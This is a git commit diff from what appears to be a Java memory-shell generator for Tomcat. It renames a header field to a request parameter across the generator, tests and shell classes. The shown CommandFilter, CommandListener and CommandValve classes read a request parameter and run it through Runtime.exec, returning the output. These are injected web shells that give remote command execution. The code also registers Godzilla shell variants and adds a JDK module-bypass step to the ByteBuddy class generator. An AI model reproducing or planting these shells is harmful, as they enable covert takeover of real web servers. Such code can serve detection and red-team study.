fix: command shell use paramName

This commit is contained in:
ReaJason
2024-12-02 01:08:22 +08:00
parent 2d6f523075
commit 7b9beeb8bb
8 changed files with 32 additions and 22 deletions
@@ -14,5 +14,5 @@ import lombok.experimental.SuperBuilder;
@ToString
public class CommandShellConfig extends ShellConfig {
@Builder.Default
private String headerName = "cmd";
private String paramName = "cmd";
}
@@ -13,5 +13,5 @@ public enum ShellTool {
/**
* 命令回显
*/
CMD
COMMAND
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers;
/**
@@ -14,17 +17,23 @@ import net.bytebuddy.matcher.ElementMatchers;
*/
public class CommandGenerator {
public static byte[] generate(Class<?> commandClass, String commandClassName, String headerName) {
public static byte[] generate(Class<?> commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) {
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName));
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.andThen(FieldAccessor.ofField("paramName").setsValue(paramName));
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(commandClass)
.name(commandClassName)
.visit(TargetJDKVersionVisitorWrapper.DEFAULT)
.constructor(ElementMatchers.any())
.intercept(fieldSets)
.make()) {
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
.constructor(ElementMatchers.any()).intercept(fieldSets);
if (targetJdkVersion >= Opcodes.V9) {
builder = ByPassJdkModuleInterceptor.extend(builder);
}
if (useJakarta) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
}
@@ -49,7 +49,6 @@ public class TomcatShell {
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
// tomcat 无法同时引入两个版本的包
GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
}
@@ -64,6 +63,7 @@ public class TomcatShell {
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
}
@SneakyThrows
@@ -89,12 +89,12 @@ public class TomcatShell {
);
break;
}
case CMD: {
case COMMAND: {
classPair = COMMAND_SHELL_MAP.get(shellType);
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
shellBytes = CommandGenerator.generate(classPair.getLeft(),
commandConfig.getShellClassName(),
commandConfig.getHeaderName());
commandConfig.getParamName(), useJakarta, targetJdkVersion);
break;
}
default:
@@ -11,7 +11,7 @@ import java.io.InputStream;
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
public String headerName;
public String paramName;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
@@ -22,7 +22,7 @@ public class CommandFilter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getHeader(headerName);
String cmd = servletRequest.getParameter(paramName);
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String headerName;
public String paramName;
public CommandListener() {
}
@@ -26,7 +26,7 @@ public class CommandListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getHeader(headerName);
String cmd = request.getParameter(paramName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
@@ -15,7 +15,7 @@ import java.io.InputStream;
public class CommandValve implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String headerName;
public String paramName;
public CommandValve() {
}
@@ -42,7 +42,7 @@ public class CommandValve implements Valve {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
String cmd = request.getHeader(headerName);
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memsell.tomcat.command;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.memsell.CommandGenerator;
import com.reajason.javaweb.util.ClassUtils;
import org.apache.commons.codec.binary.Base64;
@@ -16,11 +17,11 @@ class CommandFilterTest {
@Test
void testGenerate() {
String className = "org.command.CommandFilter";
String headerName = "cmd";
byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, headerName);
String paramName = "cmd";
byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, paramName, false, Constants.DEFAULT_VERSION);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(paramName, ClassUtils.getFieldValue(obj, "paramName"));
System.out.println(Base64.encodeBase64String(bytes));
}
}